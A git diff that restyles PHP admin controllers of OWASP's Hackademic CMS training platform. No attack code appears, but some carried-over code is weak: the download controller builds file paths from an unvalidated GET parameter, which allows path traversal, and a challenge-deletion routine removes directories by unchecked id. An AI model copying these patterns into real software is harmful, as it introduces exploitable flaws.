$confirmpassword=$_POST['confirmpassword']; - $full_name = $_POST['full_name']; - $email=$_POST['email']; - $activated = $_POST['activated']; - $type = $_POST['type']; - if (User::doesUserExist($username)) { - $this->addErrorMessage("Username already exists"); - } - elseif(!($password==$confirmpassword)) { - $this->addErrorMessage("The two passwords dont match!"); - } - elseif(!Utils::validateEmail($email)) { - $this->addErrorMessage("Please enter a valid email id"); - } else { - $subject="Hackademic new account"; - $message="Hackademic account created succesfully"; - //Mailer::mail($email,$subject,$message); - $joined=date("Y-m-d H-i-s"); - $result = User::addUser($username,$full_name,$email,$password,$joined,$activated,$type); - $usr = User::findByUserName($username); - $res2 = ClassMemberships::addMembership($usr->id, GLOBAL_CLASS_ID); - $this->addSuccessMessage("User has been added succesfully"); - header('Location:'.SOURCE_ROOT_PATH."?url=admin/usermanager&source=add"); - die(); - } - } - } - return $this->generateView(self::$action_type); - } - public function saveFormFields(){ - if(isset($_POST['username'])) - $this->username =Utils::sanitizeInput($_POST['username']); - if(isset($_POST['full_name'])) - $this->full_name=Utils::sanitizeInput($_POST['full_name']); - if(isset($_POST['email'])) - $this->email = Utils::sanitizeInput($_POST['email']); - if(isset($_POST['activated'])) - $this->activated = Utils::sanitizeInput($_POST['activated']); - if(isset($_POST['type'])) - $this->type = Utils::sanitizeInput($_POST['type']); - - //var_dump($_POST['activated']); - $this->addToView('cached', $this); - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."model/common/class.User.php"; +require_once HACKADEMIC_PATH."model/common/class.Mailer.php"; +require_once HACKADEMIC_PATH."model/common/class.Utils.php"; + +class AddUserController extends HackademicBackendController +{ + public $username; + public $full_name; + public $activated; + public $type; + public $email; + + private static $_action_type = 'add_user'; + + public function go() + { + $this->saveFormFields(); + $this->setViewTemplate('adduser.tpl'); + if (isset($_POST['submit'])) { + if ($_POST['username']=='') { + $this->addErrorMessage("Username should not be empty"); + } elseif ($_POST['full_name']=='') { + $this->addErrorMessage("Full name should not be empty"); + } elseif ($_POST['password']=='') { + $this->addErrorMessage("Password should not be empty"); + } elseif ($_POST['confirmpassword']=='') { + $this->addErrorMessage("Please confirm password"); + } elseif (!isset($_POST['activated'])) { + $this->addErrorMessage("Is the user activated?"); + } elseif (!isset($_POST['type'])) { + $this->addErrorMessage("Select the type of user"); + } elseif ($_POST['email']=='') { + $this->addErrorMessage("please enter ur email id"); + } else { + $username = $_POST['username']; + $password = $_POST['password']; + $confirmpassword=$_POST['confirmpassword']; + $full_name = $_POST['full_name']; + $email=$_POST['email']; + $activated = $_POST['activated']; + $type = $_POST['type']; + if (User::doesUserExist($username)) { + $this->addErrorMessage("Username already exists"); + } elseif (!($password==$confirmpassword)) { + $this->addErrorMessage("The two passwords dont match!"); + } elseif (!Utils::validateEmail($email)) { + $this->addErrorMessage("Please enter a valid email id"); + } else { + $subject="Hackademic new account"; + $message="Hackademic account created succesfully"; + //Mailer::mail($email,$subject,$message); + $joined=date("Y-m-d H-i-s"); + $result = User::addUser( + $username, $full_name, $email, $password, + $joined, $activated, $type + ); + $usr = User::findByUserName($username); + $res2 = ClassMemberships::addMembership($usr->id, GLOBAL_CLASS_ID); + $this->addSuccessMessage("User has been added succesfully"); + header('Location:'.SOURCE_ROOT_PATH."?url=admin/usermanager&source=add"); + die(); + } + } + } + return $this->generateView(self::$_action_type); + } + + /** + * Function to save form fields + * @return Nothing. + */ + public function saveFormFields() + { + if (isset($_POST['username'])) { + $this->username =Utils::sanitizeInput($_POST['username']); + } + if (isset($_POST['full_name'])) { + $this->full_name=Utils::sanitizeInput($_POST['full_name']); + } + if (isset($_POST['email'])) { + $this->email = Utils::sanitizeInput($_POST['email']); + } + if (isset($_POST['activated'])) { + $this->activated = Utils::sanitizeInput($_POST['activated']); + } + if (isset($_POST['type'])) { + $this->type = Utils::sanitizeInput($_POST['type']); + } + + //var_dump($_POST['activated']); + $this->addToView('cached', $this); + } +} diff --git a/admin/controller/class.ArticleManagerController.php b/admin/controller/class.ArticleManagerController.php index e1f26da3..6b36a167 100755 --- a/admin/controller/class.ArticleManagerController.php +++ b/admin/controller/class.ArticleManagerController.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/model/class.ArticleBackend.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); +require_once HACKADEMIC_PATH."admin/model/class.ArticleBackend.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; -class ArticleManagerController extends HackademicBackendController { +class ArticleManagerController extends HackademicBackendController +{ - private static $action_type = 'article_manager'; + private static $_action_type = 'article_manager'; - public function go() { - if (isset($_GET['source']) && $_GET['source']=="del") { - $this->addSuccessMessage("Article has been deleted succesfully"); - } + public function go() + { + if (isset($_GET['source']) && $_GET['source']=="del") { + $this->addSuccessMessage("Article has been deleted succesfully"); + } - if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { - $total_pages = ArticleBackend::getNumberofArticles($_GET['search'], $_GET['category']); - } else { - $total_pages = ArticleBackend::getNumberOfArticles(); - } + if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { + $total_pages = ArticleBackend::getNumberofArticles($_GET['search'], $_GET['category']); + } else { + $total_pages = ArticleBackend::getNumberOfArticles(); + } - $targetpage = SOURCE_ROOT_PATH."?url=admin/articlemanager"; - $stages = 5; - $page=0; + $targetpage = SOURCE_ROOT_PATH."?url=admin/articlemanager"; + $stages = 5; + $page=0; - if(isset($_GET['page'])) { - $page=$_GET['page']; - } - if (isset($_GET['limit']) && $_GET['limit']!="") { - $limit =$_GET['limit']; - } - else { - $limit=25; - } + if (isset($_GET['page'])) { + $page=$_GET['page']; + } + if (isset($_GET['limit']) && $_GET['limit']!="") { + $limit =$_GET['limit']; + } else { + $limit=25; + } - if($page) { - $start = ($page - 1) * $limit; - } else { - $start = 0; - } + if ($page) { + $start = ($page - 1) * $limit; + } else { + $start = 0; + } - // Initial page num setup - if ($page == 0){$page = 1;} - $prev = $page - 1; - $next = $page + 1; - $lastpage = ceil($total_pages/$limit); - $LastPagem1 = $lastpage - 1; + // Initial page num setup + if ($page == 0) { + $page = 1; + } + $prev = $page - 1; + $next = $page + 1; + $lastpage = ceil($total_pages/$limit); + $LastPagem1 = $lastpage - 1; - $pagination = array ( - 'lastpage' => $lastpage, - 'page' => $page, - 'targetpage' => $targetpage, - 'prev' => $prev, - 'next' => $next, - 'stages' => $stages, - 'last_page_m1' => $LastPagem1 - ); + $pagination = array ( + 'lastpage' => $lastpage, + 'page' => $page, + 'targetpage' => $targetpage, + 'prev' => $prev, + 'next' => $next, + 'stages' => $stages, + 'last_page_m1' => $LastPagem1 + ); - if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { - $articles = ArticleBackend::getNArticles($start,$limit,$_GET['search'],$_GET['category']); - } else { - $articles = ArticleBackend::getNarticles($start,$limit); - } - $this->addToView('articles', $articles); - $this->addToView('total_pages', $total_pages); - $this->addToView('pagination', $pagination); - $this->setViewTemplate('articlemanager.tpl'); - $this->generateView(self::$action_type); - } + if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { + $articles = ArticleBackend::getNArticles($start, $limit, $_GET['search'], $_GET['category']); + } else { + $articles = ArticleBackend::getNarticles($start, $limit); + } + $this->addToView('articles', $articles); + $this->addToView('total_pages', $total_pages); + $this->addToView('pagination', $pagination); + $this->setViewTemplate('articlemanager.tpl'); + $this->generateView(self::$_action_type); + } } diff --git a/admin/controller/class.BackendController.php b/admin/controller/class.BackendController.php index 58186341..eeebe3bd 100755 --- a/admin/controller/class.BackendController.php +++ b/admin/controller/class.BackendController.php @@ -1,53 +1,56 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.Session.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.LoginController.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.DashboardController.php"); - -class BackendController extends HackademicBackendController { - - public function go() { - if (self::isLoggedIn()) { - // If logged in, we go to DashboardController - $controller = new DashboardController; - echo $controller->go(); - } else { - // If is not logged in, we go to LoginController - $controller = new LoginController; - echo $controller->go(); - } - } - -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.Session.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."admin/controller/class.LoginController.php"; +require_once HACKADEMIC_PATH."admin/controller/class.DashboardController.php"; + +class BackendController extends HackademicBackendController +{ + + public function go() + { + if (self::isLoggedIn()) { + // If logged in, we go to DashboardController + $controller = new DashboardController; + echo $controller->go(); + } else { + // If is not logged in, we go to LoginController + $controller = new LoginController; + echo $controller->go(); + } + } + +} diff --git a/admin/controller/class.ChallengeManagerController.php b/admin/controller/class.ChallengeManagerController.php index 2ebe7ed7..dfb1e66d 100755 --- a/admin/controller/class.ChallengeManagerController.php +++ b/admin/controller/class.ChallengeManagerController.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/model/class.ChallengeBackend.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); +require_once HACKADEMIC_PATH."admin/model/class.ChallengeBackend.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; -class ChallengeManagerController extends HackademicBackendController { +class ChallengeManagerController extends HackademicBackendController +{ - private static $action_type = 'challenge_manager'; + private static $_action_type = 'challenge_manager'; - public function go() { + public function go() + { - if (isset($_GET["action"]) && ($_GET["action"]=="del")) { - $id=$_GET['id']; - $challenge=ChallengeBackend::getChallenge($id); - $pkg_name = $challenge->pkg_name; - self::rrmdir(HACKADEMIC_PATH."challenges/".$pkg_name); - ChallengeBackend::deleteChallenge($id); - $this->addSuccessMessage("Challenge has been deleted succesfully"); - } else if (isset($_GET['action']) && $_GET['action'] == "add") { - $this->addSuccessMessage("Challenge has been added succesfully. You can enable the challenge now."); - if (isset($_SESSION['challenge_arr'])) { - unset($_SESSION['challenge_arr']); - } - } - if (isset($_GET['limit']) && $_GET['limit']!="") { - $limit =$_GET['limit']; - } - else { - $limit=25; - } + if (isset($_GET["action"]) && ($_GET["action"]=="del")) { + $id=$_GET['id']; + $challenge=ChallengeBackend::getChallenge($id); + if(false !== $challenge) { + $pkg_name = $challenge->pkg_name; + self::_rrmdir(HACKADEMIC_PATH . "challenges/" . $pkg_name); + ChallengeBackend::deleteChallenge($id); + $this->addSuccessMessage("Challenge has been deleted succesfully"); + }else{ + error_log("Challenge with id $id doesn't exists"); + } + } else if (isset($_GET['action']) && $_GET['action'] == "add") { + $this->addSuccessMessage( + "Challenge has been added succesfully. You can enable the challenge now." + ); + if (isset($_SESSION['challenge_arr'])) { + unset($_SESSION['challenge_arr']); + } + } + if (isset($_GET['limit']) && $_GET['limit']!="") { + $limit =$_GET['limit']; + } else { + $limit=25; + } - $total_pages = ChallengeBackend::getNumberOfChallenges(); - $targetpage = SOURCE_ROOT_PATH."?url=admin/challengemanager"; - $stages = 3; - $page=0; - if(isset($_GET['page'])) { - $page=$_GET['page']; - } - if($page) { - $start = ($page - 1) * $limit; - } else { - $start = 0; - } - // Initial page num setup - if ($page == 0){$page = 1;} - $prev = $page - 1; - $next = $page + 1; - $lastpage = ceil($total_pages/$limit); - $LastPagem1 = $lastpage - 1; + $total_pages = ChallengeBackend::getNumberOfChallenges(); + $targetpage = SOURCE_ROOT_PATH."?url=admin/challengemanager"; + $stages = 3; + $page=0; + if (isset($_GET['page'])) { + $page=$_GET['page']; + } + if ($page) { + $start = ($page - 1) * $limit; + } else { + $start = 0; + } + // Initial page num setup + if ($page == 0) { + $page = 1; + } + $prev = $page - 1; + $next = $page + 1; + $lastpage = ceil($total_pages/$limit); + $LastPagem1 = $lastpage - 1; - $pagination = array ( - 'lastpage' => $lastpage, - 'page' => $page, - 'targetpage' => $targetpage, - 'prev' => $prev, - 'next' => $next, - 'stages' => $stages, - 'last_page_m1' => $LastPagem1 - ); - if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { - $challenges = ChallengeBackend::getNchallenges($start,$limit,$_GET['search'],$_GET['category']); - } else { - $challenges = ChallengeBackend::getNchallenges($start, $limit); - } - $this->addToView('challenges', $challenges); - $this->addToView('total_pages', $total_pages); - $this->addToView('pagination', $pagination); - $this->setViewTemplate('challengemanager.tpl'); - $this->generateView(self::$action_type); - } + $pagination = array ( + 'lastpage' => $lastpage, + 'page' => $page, + 'targetpage' => $targetpage, + 'prev' => $prev, + 'next' => $next, + 'stages' => $stages, + 'last_page_m1' => $LastPagem1 + ); + if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { + $challenges = ChallengeBackend::getNchallenges($start, $limit, $_GET['search'], $_GET['category']); + } else { + $challenges = ChallengeBackend::getNchallenges($start, $limit); + } + $this->addToView('challenges', $challenges); + $this->addToView('total_pages', $total_pages); + $this->addToView('pagination', $pagination); + $this->setViewTemplate('challengemanager.tpl'); + $this->generateView(self::$_action_type); + } - private static function rrmdir($dir) { - foreach(glob($dir . '/*') as $file) { - if(is_dir($file)) { - self::rrmdir($file); - } else { - unlink($file); - } + private static function _rrmdir($dir) + { + foreach (glob($dir . '/*') as $file) { + if (is_dir($file)) { + self::_rrmdir($file); + } else { + unlink($file); + } + } + rmdir($dir); } - rmdir($dir); - } } diff --git a/admin/controller/class.ClassChallengesController.php b/admin/controller/class.ClassChallengesController.php index 3d79f54a..d9c38004 100755 --- a/admin/controller/class.ClassChallengesController.php +++ b/admin/controller/class.ClassChallengesController.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"); -require_once(HACKADEMIC_PATH."admin/model/class.Classes.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); +require_once HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"; +require_once HACKADEMIC_PATH."admin/model/class.Classes.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; -class ClassChallengesController extends HackademicBackendController { +class ClassChallengesController extends HackademicBackendController +{ - private static $action_type = 'class_challenges'; + private static $_action_type = 'class_challenges'; - public function go() { - $this->setViewTemplate('classchallenges.tpl'); - $challenge_id=$_GET['id']; - if (isset($_POST['submit'])) { - $class_id=$_POST['class_id']; - if(ClassChallenges::doesMembershipExist($challenge_id, $class_id)) - { - $this->addErrorMessage("Challenge is already a member of this class"); - } - else{ - ClassChallenges::addMembership($challenge_id,$class_id); - $this->addSuccessMessage("Challenge has been added to the class succesfully"); - } - } - elseif (isset($_GET['action']) && $_GET['action']=="del") { - $class_id=$_GET['class_id']; - ClassChallenges::deleteMembership($challenge_id,$class_id); - $this->addSuccessMessage("Challenge has been deleted from the class succesfully"); - } - $class_memberships = ClassChallenges::getMembershipsOfChallenge($challenge_id); + public function go() + { + $this->setViewTemplate('classchallenges.tpl'); + $challenge_id=$_GET['id']; + if (isset($_POST['submit'])) { + $class_id=$_POST['class_id']; + if (ClassChallenges::doesMembershipExist($challenge_id, $class_id)) { + $this->addErrorMessage("Challenge is already a member of this class"); + } else { + ClassChallenges::addMembership($challenge_id, $class_id); + $this->addSuccessMessage( + "Challenge has been added to the class succesfully" + ); + } + } elseif (isset($_GET['action']) && $_GET['action']=="del") { + $class_id=$_GET['class_id']; + ClassChallenges::deleteMembership($challenge_id, $class_id); + $this->addSuccessMessage( + "Challenge has been deleted from the class succesfully" + ); + } + $class_memberships = ClassChallenges::getMembershipsOfChallenge($challenge_id); - $classes = Classes::getAllClasses(); - $this->addToView('classes', $classes); - $this->addToView('class_memberships', $class_memberships); - $this->setViewTemplate('classchallenges.tpl'); - $this->generateView(self::$action_type); - } + $classes = Classes::getAllClasses(); + $this->addToView('classes', $classes); + $this->addToView('class_memberships', $class_memberships); + $this->setViewTemplate('classchallenges.tpl'); + $this->generateView(self::$_action_type); + } } diff --git a/admin/controller/class.ClassManagerController.php b/admin/controller/class.ClassManagerController.php index af7540c7..2fe6aeda 100755 --- a/admin/controller/class.ClassManagerController.php +++ b/admin/controller/class.ClassManagerController.php @@ -1,113 +1,126 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"); -require_once(HACKADEMIC_PATH."admin/model/class.Classes.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); - -class ClassManagerController extends HackademicBackendController { - - private static $action_type = 'class_manager'; - - public function go() { - if (isset($_GET["source"]) && ($_GET["source"]=="del")) { - $id=$_GET['id']; - Classes::deleteClass($id); - $this->addSuccessMessage("Class has been deleted succesfully"); - } elseif(isset($_GET["source"]) && ($_GET["source"]=="addclass")) { - $this->addSuccessMessage("Class has been created succesfully"); - }elseif(isset($_GET["source"]) && ($_GET["source"]=="arch")) { - $id=$_GET['id']; - Classes::archiveClass($id); - $this->addSuccessMessage("Class has been archived succesfully"); - }elseif(isset($_GET["source"]) && ($_GET["source"]=="unarch")) { - $id=$_GET['id']; - Classes::unarchiveClass($id); - $this->addSuccessMessage("Class has been unarchived succesfully"); - } - if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { - $total_pages = Classes::getNumberOfClasses($_GET['search'], $_GET['category']); - } else { - $total_pages =Classes::getNumberOfClasses(); - - - } - if (isset($_GET['limit']) && $_GET['limit']!="") { - $limit =$_GET['limit']; - } - else { - $limit=25; - } - $targetpage = SOURCE_ROOT_PATH."?url=admin/manageclass"; - $stages = 3; - $page=0; - if(isset($_GET['page'])) { - $page=$_GET['page']; - } - if($page) { - $start = ($page - 1) * $limit; - } else { - $start = 0; - } - - // Initial page num setup - if ($page == 0){$page = 1;} - $prev = $page - 1; - $next = $page + 1; - $lastpage = ceil($total_pages/$limit); - $LastPagem1 = $lastpage - 1; - - $pagination = array ( - 'lastpage' => $lastpage, - 'page' => $page, - 'targetpage' => $targetpage, - 'prev' => $prev, - 'next' => $next, - 'stages' => $stages, - 'last_page_m1' => $LastPagem1 - ); - if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { - $classes= Classes::getNClasses($start,$limit,$_GET['search'],$_GET['category']); - } else { - $classes = Classes::getNClasses($start, $limit); - } - if (isset($_GET['search'])) { - $this->addToView('search_string', $_GET['search']); - } - //var_dump($classes); - $this->addToView('classes', $classes); - $this->addToView('total_pages', $total_pages); - $this->addToView('pagination', $pagination); - $this->setViewTemplate('classmanager.tpl'); - $this->generateView(self::$action_type); - } -} +. + * + * PHP Version 5 + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"; +require_once HACKADEMIC_PATH."admin/model/class.Classes.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; + +/** + * Manage Class. + * Create, Delete, Archive, Unarchive. + */ +class ClassManagerController extends HackademicBackendController +{ + + private static $_action_type = 'class_manager'; + + /** + * Function to handle, creation, deletion, archive, unarchive of a class. + * @return Nothing. + */ + public function go() + { + if (isset($_GET["source"]) && ($_GET["source"]=="del")) { + $id=$_GET['id']; + Classes::deleteClass($id); + $this->addSuccessMessage("Class has been deleted succesfully"); + } elseif (isset($_GET["source"]) && ($_GET["source"]=="addclass")) { + $this->addSuccessMessage("Class has been created succesfully"); + } elseif (isset($_GET["source"]) && ($_GET["source"]=="arch")) { + $id=$_GET['id']; + Classes::archiveClass($id); + $this->addSuccessMessage("Class has been archived succesfully"); + } elseif (isset($_GET["source"]) && ($_GET["source"]=="unarch")) { + $id=$_GET['id']; + Classes::unarchiveClass($id); + $this->addSuccessMessage("Class has been unarchived succesfully"); + } + if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { + $total_pages = Classes::getNumberOfClasses($_GET['search'], $_GET['category']); + } else { + $total_pages =Classes::getNumberOfClasses(); + + + } + if (isset($_GET['limit']) && $_GET['limit']!="") { + $limit =$_GET['limit']; + } else { + $limit=25; + } + $targetpage = SOURCE_ROOT_PATH."?url=admin/manageclass"; + $stages = 3; + $page=0; + if (isset($_GET['page'])) { + $page=$_GET['page']; + } + if ($page) { + $start = ($page - 1) * $limit; + } else { + $start = 0; + } + + // Initial page num setup + if ($page == 0) { + $page = 1; + } + $prev = $page - 1; + $next = $page + 1; + $lastpage = ceil($total_pages/$limit); + $LastPagem1 = $lastpage - 1; + + $pagination = array ( + 'lastpage' => $lastpage, + 'page' => $page, + 'targetpage' => $targetpage, + 'prev' => $prev, + 'next' => $next, + 'stages' => $stages, + 'last_page_m1' => $LastPagem1 + ); + if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { + $classes= Classes::getNClasses($start, $limit, $_GET['search'], $_GET['category']); + } else { + $classes = Classes::getNClasses($start, $limit); + } + if (isset($_GET['search'])) { + $this->addToView('search_string', $_GET['search']); + } + //var_dump($classes); + $this->addToView('classes', $classes); + $this->addToView('total_pages', $total_pages); + $this->addToView('pagination', $pagination); + $this->setViewTemplate('classmanager.tpl'); + $this->generateView(self::$_action_type); + } +} diff --git a/admin/controller/class.ClassMembershipsController.php b/admin/controller/class.ClassMembershipsController.php index d92564f3..85c4fe6c 100755 --- a/admin/controller/class.ClassMembershipsController.php +++ b/admin/controller/class.ClassMembershipsController.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"); -require_once(HACKADEMIC_PATH."admin/model/class.Classes.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."model/common/class.User.php"); +require_once HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"; +require_once HACKADEMIC_PATH."admin/model/class.Classes.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."model/common/class.User.php"; -class ClassMembershipsController extends HackademicBackendController { +class ClassMembershipsController extends HackademicBackendController +{ - private static $action_type = 'class_memberships'; + private static $_action_type = 'class_memberships'; - public function go() { - $this->setViewTemplate('classmembership.tpl'); - $user_id=$_GET['id']; - $user= User::getUser($user_id); - if (isset($_POST['submit'])) { - $class_id=$_POST['class_id']; - if(ClassMemberships::doesMembershipExist($user_id, $class_id)) - { - $this->addErrorMessage("User is already a member of this class"); - } - else{ - ClassMemberships::addMembership($user_id,$class_id); - $this->addSuccessMessage("User has been added to the class succesfully"); - } - } - elseif (isset($_GET['action']) && $_GET['action']=="del") { - $class_id=$_GET['class_id']; - ClassMemberships::deleteMembership($user_id,$class_id); - $this->addSuccessMessage("User has been deleted from the class succesfully"); - } - $class_memberships = ClassMemberships::getMembershipsOfUser($user_id); + public function go() + { + $this->setViewTemplate('classmembership.tpl'); + $user_id=$_GET['id']; + $user= User::getUser($user_id); + if (isset($_POST['submit'])) { + $class_id=$_POST['class_id']; + if (ClassMemberships::doesMembershipExist($user_id, $class_id)) { + $this->addErrorMessage("User is already a member of this class"); + } else { + ClassMemberships::addMembership($user_id, $class_id); + $this->addSuccessMessage("User has been added to the class succesfully"); + } + } elseif (isset($_GET['action']) && $_GET['action']=="del") { + $class_id=$_GET['class_id']; + ClassMemberships::deleteMembership($user_id, $class_id); + $this->addSuccessMessage("User has been deleted from the class succesfully"); + } + $class_memberships = ClassMemberships::getMembershipsOfUser($user_id); - $classes = Classes::getAllClasses(); - $this->addToView('classes', $classes); - $this->addToView('class_memberships', $class_memberships); - $this->addToView('user', $user); - $this->setViewTemplate('classmembership.tpl'); - $this->generateView(self::$action_type); - } + $classes = Classes::getAllClasses(); + $this->addToView('classes', $classes); + $this->addToView('class_memberships', $class_memberships); + $this->addToView('user', $user); + $this->setViewTemplate('classmembership.tpl'); + $this->generateView(self::$_action_type); + } } diff --git a/admin/controller/class.DashboardController.php b/admin/controller/class.DashboardController.php index 6c00a8a8..9efc3e12 100755 --- a/admin/controller/class.DashboardController.php +++ b/admin/controller/class.DashboardController.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5 * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; -class DashboardController extends HackademicBackendController { +class DashboardController extends HackademicBackendController +{ - private static $action_type = 'dashboard'; + private static $_action_type = 'dashboard'; - public function go() { - $this->setViewTemplate('dashboard.tpl'); - $this->generateView(self::$action_type); - } + public function go() + { + $this->setViewTemplate('dashboard.tpl'); + $this->generateView(self::$_action_type); + } } diff --git a/admin/controller/class.DownloadController.php b/admin/controller/class.DownloadController.php index 32a99baa..73524b2f 100755 --- a/admin/controller/class.DownloadController.php +++ b/admin/controller/class.DownloadController.php @@ -1,82 +1,83 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); - -class DownloadController extends HackademicBackendController { - - public function go() { - if(isset($_GET['ch'])) { - $folder = $_GET['ch']; - $source = HACKADEMIC_PATH."challenges/".$folder; - $dest = HACKADEMIC_PATH."view/compiled_view/".$folder.".zip"; - self::Zip($source, $dest); - header("Content-Type: archive/zip"); - - // filename for the browser to save the zip file - header("Content-Disposition: attachment; filename=$folder".".zip"); - $filesize = filesize($dest); - header("Content-Length: $filesize"); - $fp = fopen("$dest","r"); - echo fpassthru($fp); - fcloae($fp); - unlink($dest); - } - } - - private static function Zip($source, $destination) { - if (!extension_loaded('zip') || !file_exists($source)) { - return false; - } - $zip = new ZipArchive(); - if (!$zip->open($destination, ZIPARCHIVE::CREATE)) { - return false; - } - $source = str_replace('\\', '/', realpath($source)); - if (is_dir($source) === true) { - $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); - foreach ($files as $file) - { - $file = str_replace('\\', '/', realpath($file)); - if (is_dir($file) === true) { - $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); - } - else if (is_file($file) === true) { - $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); - } - } - } else if (is_file($source) === true) { - $zip->addFromString(basename($source), file_get_contents($source)); - } - return $zip->close(); - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; + +class DownloadController extends HackademicBackendController +{ + + public function go() + { + if (isset($_GET['ch'])) { + $folder = $_GET['ch']; + $source = HACKADEMIC_PATH."challenges/".$folder; + $dest = HACKADEMIC_PATH."view/compiled_view/".$folder.".zip"; + self::_zip($source, $dest); + header("Content-Type: archive/zip"); + // filename for the browser to save the zip file + header("Content-Disposition: attachment; filename=$folder".".zip"); + $filesize = filesize($dest); + header("Content-Length: $filesize"); + $fp = fopen("$dest", "r"); + echo fpassthru($fp); + fcloae($fp); + unlink($dest); + } + } + + private static function _zip($source, $destination) + { + if (!extension_loaded('zip') || !file_exists($source)) { + return false; 